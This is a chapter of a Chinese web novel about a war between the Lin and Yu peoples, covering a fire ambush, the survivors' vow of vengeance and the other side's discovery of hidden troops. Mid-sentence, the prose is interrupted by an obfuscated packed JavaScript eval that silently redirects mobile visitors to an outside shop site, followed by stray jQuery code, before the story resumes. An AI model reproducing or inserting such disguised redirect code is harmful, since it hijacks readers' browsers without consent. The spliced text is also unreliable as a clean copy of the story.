阎王的拜帖已经递到门前,铡刀悬在半空对准了麟军。但在铡刀落下前,有一个人抬手撑住了刀柄。
那名看着弱不禁风的士兵,望着滔天的火光,冷静地号召:“所有人跟我走。”
他刁钻地穿过几处火光没有覆盖的空缺,像是有所预料一般猜中了每一处正确的道路。在如此猛烈的火势下,若是判断失误,便是全军覆没。
最后,尽管还是在突围的过程中又有少数被留在森林,一起成为这片枯木群中的一棵枯死的树,但大半数跟着他活了下来。
他们在森林尽头的一处空地上休整,清点人数后发现五万人只剩下一万余人,驻军的三万人也没来得及汇合,如今生死不知。
那名士兵凝视着仍在翻涌的火海,火光在他眼眸中明灭不定。
半响,他才吐出几个字:"太信任毒瘴,也就死于毒瘴。这招以其人之道还治其人之身的手段,我收到了。"
此次贺抚疆连同江鸢、陈越岭二人算中了他们会在回到自己的大本营后掉以轻心,便设计佯攻实则赶他们回去,只要他们回到这片森林就跟被关进了羊圈,任人宰割。
毒瘴带有异香,对羽族乃是见血封喉的剧毒,而麟族不惧毒却也易受气味蒙蔽,毒瘴内撒下气味再刺鼻的雄黄酒他们都无法察觉。
但昨日至今日并无下雨,湿润的泥土与遍布的碎石都是异象,是他太过信任这片天险,让地利反成了贺抚疆为他们所挖好的乱葬岗。
周山走到他身旁,此时并没有与他叫嚣:“此计歹毒,是那些鸟人心思阴险。你既感到自责,就更应该振作士气为他们报仇血恨。”
周山狰狞的伤疤下眼神很平静,他凝视着这片无数并肩作战的战友葬身的火海:
“我经历过无数次今日的场景,最开始的时候我痛哭流涕,夜色一到我就无法入睡,我感觉一闭眼就是无数的冤魂要钻进我的眼睛,啃食我的骨血,那些冤魂里面既有敌人也有自己人。我被人害过,但害死了更多人。”
“如今你习惯了?”那名士兵沉默地听着周山难得的诉说,而后开口道。
“哈。习惯?”周山嘲讽着不知道是他还是自己,“永远习惯不了。只是忍下来了,只有咬着牙忍下来,这些人,这些仇才有人替他们报。”
那名士兵用力地呼吸了两下,强逼着自己平复:“为了你们,我绝不会退缩。”
周山没有什么情绪地点头:“这正是我们追随你的原因。”
士兵转身回看周山,承诺道:“你放心,这一战,还远远没有结束。羽族既然敢这般算计我们,就要有被我们反咬致死的准备。”
“您只管继续用您的计,”周山笑了,“我会带好我的兵。”
“将士们!那些鸟人杀戮我们的同袍,侵占我们的驻地,如今更是使我们蒙受奇耻大辱!”周山对着萎靡落魄的残军大喝,"此时是退缩的时候吗!"
在场的残军冷漠地注视他,没有回应。这是一队七零八落的军队,为了逃出那片曾经休养生息如今化为地狱的森林,扔下了代表着军队荣耀的战旗,卸下作为战士的盔甲跟武器,甚至抛下了身旁求救的同袍,与其说是军队不如说是逃兵。
他们应当迎战,应当不惧生死,但是当炙热滚烫的火浪覆盖了他们所视的天穹后,整个世界就消失了,他们身处的是可怖的地狱。
于是,活下来,挤占了他们脑海的全部。
他们不想死。
周山并不意外,他继续说着:“我知道此次战果惨烈,那是因为我们被他们算计,根本没有正面与他们交战。若是我们与他们正面打上一仗,我们根本不可能输。”
灰头土脸的残军中有些人的神情动了,他们的怨恨大于颓废。他们依旧没有附和,但他们的眼眸已经开始燃烧。
那是仇恨的火焰,烧进了他们的心里。
他们不想那样死,那也绝不愿这样活。
周山看到他们的表情,就知道这只军队还没有死,他们只是暂时被惨烈的失败压下了脊梁,可是他们没有放弃再挺直的机会,等待并不意味着认输。
“你们服吗?”那名士兵突然开口了,他露出了真容。
在场的诸位没有一个是不认识他的,他们终于从杂乱的应声变为了齐声的高呼:“宁死,不服!”
“那么,相信我。”他一字一句,“我们一定会让他们血债血偿。”
第三日。东方薄雾散去,绮丽霞光中浮现出一点红光,站在旭日下的山巅,谢行止望着远方枯死的森林,原先瘴气笼罩下林木是朦胧的雾青色,是致死却含蓄的美丽。
而经历了昨夜烈火从地底爬上人间,再将无数生灵再拽下地狱的绝望后,雾青色褪去,遗留在原地的是大片大片无边际的焦黑。
那片焦土上看不到一点生机,无数的麟军士兵形态各异地惨死在原地,而这一切,尽是她协同李守谨带来的。
临羲景走到她身边,显然也目睹了这幅人间惨剧,他平淡冷漠地开口:“你不会是自责了?”
“不对。”谢行止没有理会他,视线依旧专注地停留在那些残骸上,吐出了两个字。
听到完全意料之外的回答的他一愣:“什么?”
少女依旧没有回答他,她严肃着神情步伐匆匆走入主帐,打断了帐内贺抚疆同江鸢争论乘胜追击的进一步谋划。
而留在原地的临羲景终于悟到什么,也转向那片尸骸与焦土几近融为一体的漆黑,而后眼神凝固了。
他喃喃道:“不妙啊...但愿时间还来得及。”
帐内的二人很快冲到临羲景的身旁,贺抚疆与江鸢亦是盯着那片焦土一阵后意识到了事情的严重性。
江鸢面色发白地喃喃:“人数真的不对。”
这一片乱坟岗上的骸骨,远没有八万人,甚至连五万都不足。
这意味着,虽然在外回营的军队中计了,但是他们驻军的那一支队伍要么因为当时的后手躲过一劫,要么干脆识破了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252318|139664||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
羽军所设下的局。
当时他们只因布在森林后方的眼线来报,得知逃出的残兵仅有一万余,从而验证自己的猜想,确信了此战大捷。
但是,谁又说,一定要显露行踪才是真实的?
毕竟,当时陈越岭就是这么配合他们的。
贺抚疆拳头松了又握,竭力控制自己的情绪:“地道。我们反将一军后如今尝到苦果了。”
是了。陈越岭起先那般隐秘的消失,就是带兵潜入了麟军原先挖好的地道,先周山他们到达了森林中部。
而后与江鸢里应外合,听到江鸢哨声,等麟军进入森林后,釜底抽薪。
除非他们能卡死一个时机,否则早败露事端则陈越岭与麟军交战,哨声告知江鸢配合除尽麟军。
迟则为时已晚麟军只顾自保仓皇逃命,就算发现了他们的谋划也无暇对陈越岭清算。
可正是,被他们卡住了那个时机。就像预先做好了所有备选一般,扼死了陈越岭的退路。
这个动作太过于迅速,陈越岭甚至没有机会向外部传递出信息:
事态有变,戒备。
就消失在了那个长夜。
贺抚疆当下吩咐下去江鸢带兵将周边的几个地道口围堵麟军突袭,但被临羲景喊停:"他们不太可能企图从地道再度偷袭,毕竟有了上一次前车之鉴后,同样的路数再用就显得愚蠢了。"
吃一堑长一智后,贺抚疆日日吩咐将士在营地内部及周边二里都撒上雄黄酒,在这种环境下麟军再也没有来犯,毕竟在不利于自己的环境内作战只会造成无益的折损。
但是整整一夜的时间,三万人定是做了些什么。若是猜不到他们的动作,今日之羽军会如同昨日之麟军。
谢行止思索了一下,还是对江鸢道:“你带人兵分三路,在中段地道旁搜寻有没有新出口,搜寻到后一路埋伏在出口周边,一路搜寻他们的足迹,近三万军一定会留下足迹。”
江鸢点了点头:“那剩下一队呢?”
“去我们上方最远的沂河旁截流。”
闻言,在场的三人神情都变了。江鸢近乎是闯出营帐,帐外传来她发号施令的声音。她压低嗓音步子极快,整队清点的脚步声不停。
贺抚疆没有阻拦谢行止的行为,他紧锁着眉:“你觉得,他们会同我们鱼死网破?”
谢行止摇头:"沂河的走向是自西向东,麟军那处才是源头,投毒只会断了我们的水源。"
贺抚疆冷笑:“那便是鱼死网破了。”
“按沂河的流速,只怕一晚过去,整个沂河河段都被他们毁了。要想获取干净的水源,要么等援军递送,要么长驱直入攻占麟军驻地。”
他注视着地形图上的路线,眼神中是冰冷的杀意与野心:“先将战报送至国都,等陛下下旨派援军送水,往返路程约是需要五日,这时间纳兰琏定是带着援军已经到了。”
“但是,若是直接打下麟军驻点,又不知道要几日呢。”